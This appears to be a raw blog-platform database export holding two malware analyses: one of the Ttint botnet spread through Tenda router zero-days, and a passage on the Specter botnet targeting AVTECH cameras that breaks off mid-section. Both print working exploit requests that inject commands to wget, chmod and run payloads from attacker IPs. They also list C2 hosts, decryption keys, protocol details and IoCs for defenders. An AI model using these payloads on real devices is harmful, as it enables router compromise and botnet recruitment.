6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Lingming Tu](https://twitter.com/IUnKnow84503351), [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3)*\n\n### Background introduction\nStarting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.\n\nThe conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands. \n\nIn addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.\n\nAbout the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong. When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.\n\nTwo zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.\n\nWe named this botnet Ttint.\n\n### 0-day vulnerability attack\nOn November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 & CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[[1\\]](https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68).\n```\nGET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.22.0\n```\n\nOn August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.\n\nOn August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.\n\n### 0-day vulnerability scope\nWe have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.\n```\nUS_AC9V1.0BR_V15.03.05.14_multi_TD01\nUS_AC9V1.0BR_V15.03.05.16_multi_TRU01\nUS_AC9V1.0BR_V15.03.2.10_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TDE01\nUS_AC9V3.0RTL_V15.03.06.42_multi_TD01\nUS_AC10UV1.0RTL_V15.03.06.48_multi_TDE01\nUS_AC15V1.0BR_V15.03.05.18_multi_TD01\nUS_AC15V1.0BR_V15.03.05.19_multi_TD01\nUS_AC15V1.0BR_V15.03.1.8_EN_TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS\nUS_AC15V1.0BR_V15.03.1.12_multi_TD01\nUS_AC15V1.0BR_V15.03.1.16_multi_TD01\nUS_AC15V1.0BR_V15.03.1.17_multi_TD01\nUS_AC18V1.0BR_V15.03.05.05_multi_TD01\nUS_AC18V1.0BR_V15.03.3.6_multi_TD01\nUS_AC18V1.0BR_V15.03.3.10_multi_TD01\nac9_kf_V15.03.05.19(6318_)_cn\nac18_kf_V15.03.05.19(6318_)_cn\n```\n\nWe also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.\n<a href=\"__GHOST_URL__/content/images/2020/09/stats1.png\"><img src=\"__GHOST_URL__/content/images/2020/09/stats1.png\" class=\"kg-image\"/></a>\n\n### Ttint overview\nTtint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.\n\nWe analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.\n<a href=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\"><img src=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\" class=\"kg-image\"/></a>\n\n### Reverse analysis\nGenerally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.\n\nWe can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.; \n\nThere are changes though, most notable, it rewrites the network communication part to use websocket protocol . \n\nLet’s take a look at some of the custom functions.\n<a href=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\"><img src=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\" class=\"kg-image\"/></a>\n#### Ttint v2 sample analysis\nMD5:73ffd45ab46415b41831faee138f306e\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nLib:uclib\n\n\n#### Socket5 proxy\nBy binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\" class=\"kg-image\"/></a>\n\n#### Tampering with router DNS\nTamper the router DNS by modifying the resolv.conf file,\n```\necho nameserver \"DNS server\" > /etc/etc/resolv.conf\n```\nThe result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.\n\n#### Config iptables\nBy setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.\n```\niptables -t nat -A PREROUTING -d \"\" -p tcp --dport \"\" -j DNAT --to-destination \"\"\niptables -t nat -A POSTROUTING -d \"\" -p tcp --dport \"\" -j SNAT \"\"\niptables -A FORWARD -d -j ACCEPT\n```\n\n#### Reverse shell\nBy implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\" class=\"kg-image\"/></a>\n\n#### Self-upgrade\nThe bot can download corresponding CPU architecture from the specified Download URL (default is ```uhyg8v.notepod2.com:5001```) to update itself.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\" class=\"kg-image\"/></a>\n\n#### Self-exit\nTtint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\" class=\"kg-image\"/></a>\n\n#### Hidden network channel\nBy using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is \"Detach from stdin\", so we speculate that there is a redirection instruction after PORT)\n```\nnc -d -l \"PORT\" \"some redirect cmd\"\n```\n\n#### Report device information\nReport the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an \"&\" character is missing in the ```type=back_infoatk_id=%s&time=&os=```\n\n#### Execute system commands\nExecute custom system commands issued by C2 through popen function\n <a href=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\" class=\"kg-image\"/></a>\n\n### C2 protocol analysis\nThe C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is ```0x0EDFCEBDA```\n\n```\nc2 ciphertxt:\n51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20\nc2 plaintxt:\nq9uvveypiB.notepod2.com\n```\n\nWhen the bot is running, it decrypts to obtain the C2 address ```ws:q9uvveypiB.notepod2.com:443```, and then communicates with C2 securely through the WebSocket over TLS protocol.\n<a href=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\" class=\"kg-image\"/></a>\n\n###### WebSocket protocol\nWhen Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.\n<a href=\"__GHOST_URL__/content/images/2020/09/websocket.png\"><img src=\"__GHOST_URL__/content/images/2020/09/websocket.png\" class=\"kg-image\"/></a>\n\n###### Bot's “go live” packet\nAccording to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.\n```\n00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........\n00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A\n00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S\n00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........\n00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U\n00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....\n00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................\n00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^\n00000080: EF C4 F8 5D E7 C7 A4 5E E7 \n```\n\nPerform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.\n```\n00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|\n00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|\n00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|\n00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|\n00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|\n00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|\n00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|\n00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|\n00000080 32 \n```\n\n###### C2 instruction\nAll together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.\n| id | instruction |\n| ------ | ------------------ |\n| 0 | attack_udp_generic |\n| 1 | attack_udp_vse |\n| 2 | attack_udp_dns |\n| 9 | attack_udp_plain |\n| 3 | attack_tcp_flag |\n| 4 | attack_tcp_pack |\n| 5 | attack_tcp_xmas |\n| 6 | attack_grep_ip |\n| 7 | attack_grep_eth |\n| 10 | attack_app_http |\n| 12 | run \"nc\" command |\n| 13 |run \"ls\" command |\n| 15 | Execute system commands |\n| 16 | Tampering with router DNS |\n| 18 | Report device information |\n| 14 | Config iptables |\n| 11 | run \"ifconfig\" command |\n| 17 | Self-exit |\n| 19 | Open Socks5 proxy |\n| 20 | Close Socks5 proxy |\n| 21 | Self-upgrade |\n| 22 | Reverse shell |\n\n###### C2 command format analysis\nWe captured the following commands the C2 sent to the bots.\n```\n00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...\n00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0\n00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D\n00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --\n00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A\n00000050: 43 43 45 50 54 CCEPT\n```\n\nThe following is a breakdown for the format\n```\n00 55 ---- \tmsg length\n0F\t----\tcmd id, here is \"run system cmd\"\n02\t---- \toption number\n1A\t----\toption type, here is \"attack id\"\n13\t----\toption length, length of \"pp-lOv2x9n13XsZ0wvD\" = 0x13\n1B\t----\toption type, here is \"attack cmd buf\"\n30\t----\toption length\n```\nGenerally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.\n\nTake the two adjacent commands we captured, the first command is\n```iptables -I INPUT -p tcp --dport 51599 -j ACCEPT```, to allow access to port 51599 of the affected device.\n\n```\n00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .\n00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6\n00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables \n00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp \n00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j\n00000050: 20 41 43 43 45 50 54 ACCEPT\n```\nThe next command is to enable the Socket5 proxy function on port 51599 of the affected device.\n```\n00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .\n00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.\n00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]\n00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr\n```\n\nThe combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.\n\n### Recommendations\nWe recommend that Tenda router users check their firmware and make necessary update.\n\nWe also recommend that our readers monitor and block related IoCs.\n\n### Contact us\nInterested readers can contact us on [**twitter**](https://twitter.com/360Netlab) or via email **netlab[at]360.cn** .\n\n\n### IoC\nIP:\n```\n34.92.85.21 \tHong Kong \tASN15169 \tGOOGLE\n34.92.139.186 \tHong Kong \tASN15169 \tGOOGLE \n43.249.29.56 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n45.249.92.60 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n45.249.92.72 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.60.220.48 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.108.142.92 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.243.183.248 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n```\n\nC2:\n```\ncnc.notepod2.com:23231\nback.notepod2.com:80\nq9uvveypiB.notepod2.com:443\n```\n\nUpdate Server:\n```\nuhyg8v.notepod2.com:5001\n```\n\nURL:\n```\nhttp://45.112.205.60/td.sh\nhttp://45.112.205.60/ttint.i686\nhttp://45.112.205.60/ttint.arm5el\nhttp://45.112.205.60/ttint.mipsel\nhttp://34.92.139.186:5001/bot/get.sh\nhttp://34.92.139.186:5001/bot/ttint.mipsel\nhttp://34.92.139.186:5001/bot/ttint.x86_64\n```\n\nMD5:\n```\n3e6a16bcf7a9e9e0be25ae28551150f5\n4ee942a0153ed74eb9a98f7ad321ec97\n6bff8b6fd606e795385b84437d1e1e0a\n733f71eb6cfca905e8904d0fb785fb43\na89cefdf71f2fced35fba8612ad07174\nc5cb2b438ba6d809f1f71c776376d293\ncfc0f745941ce1ec024cb86b1fd244f3\n73ffd45ab46415b41831faee138f306e\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f6ae7e87646030007b290d5 |
post | null | 2020-09-25T04:57:37.000Z | 63873b9a8b1c1e0007f52f86 | ghost-in-action-the-specter-botnet | 0 | 2020-09-26T11:28:02.000Z | public | published | null | 2020-09-25T13:38:00.000Z | Ghost in action: the Specter botnet | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF file (<code>22523419f0404d628d02876e69458fbe.css</code>)with 0 VT detection.</p>
<p>When we took a close look, we see a new botnet that targets <code>AVTECH IP Camera / NVR / DVR devices</code>, and it has flexible configuration, highly modular / plugin, and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.</p>
<p>The ELF we captured is Dropper, it releases a loader, and the loader will send encrypted traffic requests various Plugins from C2 to perform different functions. The sample build path is <code>/build/arm-specter-linux-uclibcgnueabi</code>, that is why we named it Specter.</p>
<p>At present, Specter has a lot of <code>unprofessional aspects</code>. For example, it releases two libraries required by runtime while releasing Loader, but they are all dynamically linked.We also noticed that Plugin does not expand and load directly in memory.<a href="https://www.exploit-db.com/exploits/40500">The vulnerability being targeted is also quite old, a 5 years old on</a>. On the other hand, this botnet has a good layered design, complex network communication and some other characteristics，which is obviously a work of professional. <code>Professional aspects come with unprofessional aspects</code>, this contradiction makes us speculate that Specter is in the test development stage. We will see how it goes in the future.</p>
<h2 id="overview">Overview</h2>
<p>Specter is a remote control Trojan (RAT) for the Linux platform.</p>
<p>It consists of 3 parts, Dropper, Loader, and Plugin. The main function is determined by Loader&Plugin. The main functions of Specter are</p>
<ul>
<li>
<p>File management</p>
</li>
<li>
<p>Download and upload management</p>
</li>
<li>
<p>Shell service</p>
</li>
<li>
<p>Socket5 Proxy</p>
</li>
<li>
<p>Report device information</p>
</li>
<li>
<p>Execute the script issued by C2</p>
</li>
<li>
<p>Executing C2 to deliver executable files</p>
</li>
</ul>
<p>The basic process is shown in the figure below:<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_flow.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_flow.PNG" class="kg-image"/></a></p>
<h2 id="propagation">Propagation</h2>
<p>Specter spread its Dropper samples through<a href="https://www.exploit-db.com/exploits/40500">AVTECH IP Camera / NVR / DVR Devices vulnerabilities</a>,The payload being used is as follows:</p>
<pre><code>GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8
</code></pre>
<h2 id="sampleanalysis">Sample analysis</h2>
<p>Specter's infection process can be divided into 4 stages.，</p>
<ul>
<li>Stage 0: Preliminary stage, spread through vulnerabilities, implant Dropper on the device</li>
<li>Stage 1: Dropper releases Loader</li>
<li>Stage 2: Loading stage, Loader loads Plugin</li>
<li>Stage 3: Plugin executes the instructions issued by C2</li>
</ul>
<h3 id="stage1stage1releasestagespecter_dropperanalysis">Stage1：Stage1: Release stage, Specter_Dropper analysis</h3>
<p>The main function of the dropper is to detect the operating environment, decrypt the Loader, configure the Config, and finally release and start the Loader.</p>
<blockquote>
<p>MD5:a8400c378950084fc8ab80b8bb4e5b18</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="11decryptloader">1.1 Decrypt Loader</h4>
</li>
</ul>
<p>Decryption algorithm:XOR byte by byte <code>0x79</code>, then negate.<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG" class="kg-image"/></a></p>
<p>Along with the loaders, the runtime library, <code>libc.so.0 and ld-uClibc.so.1</code> are also decrypted.Currently these two libraries have no malicious functions, but we speculate that future versions will hijack some functions of these two libraries to hide the existence of Specter from file, process and networks’ perspectives</p>
<ul>
<li>
<h4 id="12configureconfig">1.2 Configure Config</h4>
</li>
</ul>
<p>Look for the written position mark in the Loader sample <code>SpctCF</code>, and then write Config at its subsequent address.。<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG" class="kg-image"/></a></p>
<p>The comparison is as follows:</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="13releaseandexecuteloader">1.3 Release and execute Loader</h4>
</li>
</ul>
<p>Release Loader to the<code>/tmp/runtimes/hw_ex_watchdog</code> file and run it, and later on delete itself to clean up the traces of Dropper。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG" class="kg-image"/></a></p>
<h3 id="stage2loadingstagespecter_loaderanalysis">Stage2: Loading stage, Specter_Loader analysis</h3>
<p>The main function of Loader is to decrypt Config, obtain C2 from it, establish encrypted communication with C2, and execute the instructions issued by C2. If there is no Plugin for processing the corresponding instructions, it will request the required Plugin from C2.</p>
<blockquote>
<p>MD5:470a092abd67e25463425b611088b1db</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="21decryptconfig">2.1 Decrypt Config</h4>
</li>
</ul>
<p>There are C2, mutex name, nonce and other information in the Config file, ChaCha20 encryption is used, where the key is <code>CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00</code> and the number of rounds is <code>15</code>.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG" class="kg-image"/></a></p>
<p>The detailed Config structure is shown below:，</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG" class="kg-image"/></a></p>
<p>Take the Config in the above figure as an example, the nonce (12 bytes) required for decryption is:</p>
<pre><code>c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70
</code></pre>
<p>The ciphertext is:</p>
<pre><code>94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7
</code></pre>
<p>After decryption, we get the following plaintext, we can see that C2 is <code>107.182.186.195</code> and mutex is <code>fb4mi5a</code></p>
<pre><code>00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ"|
00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|
00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|
00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|
00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|
00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|
00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|
</code></pre>
<ul>
<li>
<h4 id="22establishcommunicationwithc2">2.2 Establish communication with C2</h4>
</li>
</ul>
<p>The communication process can be divided into 4 stages, using TLS, ChaCha20 encryption algorithm, lz4 compression algorithm to ensure the security of data communication.The first stage is to establish a TLS connection, the second stage is the process of mutual agreement authentication, the third stage is the Loader reporting device information, and the fourth stage executes the C2 issuing instruction process.</p>
<h6 id="tlscommunication">TLS communication</h6>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG" class="kg-image"/></a></p>
<p>In order to analyze the network traffic, we performed a Man-in-the-middle attack,and can see the result as follows. It can be seen that Specter's network communication packet has a fixed format.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG" class="kg-image"/></a></p>
<p>Packets can be divided into four parts, the detailed structure is shown below:，<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG" class="kg-image"/></a></p>
<p>Where <code>Encrypted Payload_info</code> stores the payload verification, length, ID and other info.<code>[Encrypted?]Compressed Payload</code> is the payload itself, the payload will only be compressed during the key exchange stage, while in all the other stages it gets both encrypted and compressed.</p>
<p>Let’s take a look at the above figure, the data packet that Bot sends to C2 for secret key exchange</p>
<p>The encryption algorithm used in the first part(<code>ncrypted Payload_info</code>) is:</p>
<pre><code>ChaCha20
Key: 36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34
61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce: E7 66 29 FB 10 98 F6 5A 80 80 FF 58
</code></pre>
<p>The ciphertext is:</p>
<pre><code>0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9
</code></pre>
<p>after decryption:</p>
<pre><code>C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00
3EC9 ---- CRC16 of Payload
0001 ---- Cmd Id
00000022 Compressed Payload length
00000020 Decomressed Payload length
</code></pre>
<p>The value of <code>Cmd Id</code> is 1, indicating that it is in the key exchange stage, directly decompress <code>[Encrypted?]Compressed Payload</code> and get the key sent by Bot to C2</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<h6 id="authentication">Authentication</h6>
<p>The protocol authentication process can be divided into two stages, the first stage is the key exchange, and the second stage is the mutual recognition of identity.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG" class="kg-image"/></a></p>
<p>According to the data packet decryption process introduced above, we will get.</p>
<p>The secret key sent by Bot to C2 is:</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<p>The secret key sent by C2 to Bot is:</p>
<pre><code>19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C
</code></pre>
<p>In the secret key exchange phase, the payload is only compressed without encryption; after the secret key is exchanged, Bot and C2 encrypt and compress the payload with each other's secret key.</p>
<p>It can be solved with the above secret key.</p>
<p>The authentication information sent by Bot to C2 is:</p>
<pre><code>00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259
</code></pre>
<p>The authentication information sent by C2 to Bot is:</p>
<pre><code>00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4
</code></pre>
<p>This is consistent with the implementation we saw in the sample:<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="23reportdeviceinformationsuchasmacipaddresssystemtypeetc">2.3 Report device information, such as MAC/IP address, system type, etc.</h4>
</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="24executethestartplugincommandissuedbyc2">2.4 Execute the start Plugin command issued by C2</h4>
</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG" class="kg-image"/></a></p>
<p>Specter implements a very flexible plugin management communication mechanism, each plugin must implement the following 4 methods,</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG" class="kg-image"/></a><br>
If there is no corresponding Plugin currently, a request is made to C2 and finally dynamically loaded into Loader <code>Plugin Slot</code>.</p>
<h3 id="stage3specter_pluginanalysis">Stage3: Specter_Plugin analysis</h3>
<p>When the bot gets the Plugin issued by C2, it cannot be used directly, because they are encrypted and can only be loaded into the Plugin Slot for use after decryption.<br>
Decryption algorithm: XOR <code>0x7f</code> byte by byte, then negate</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG" class="kg-image"/></a></p>
<p>Here are some plugins we captured:</p>
<h4 id="shellplugin">Shell plugin</h4>
<blockquote>
<p>Plugin id: 1</p>
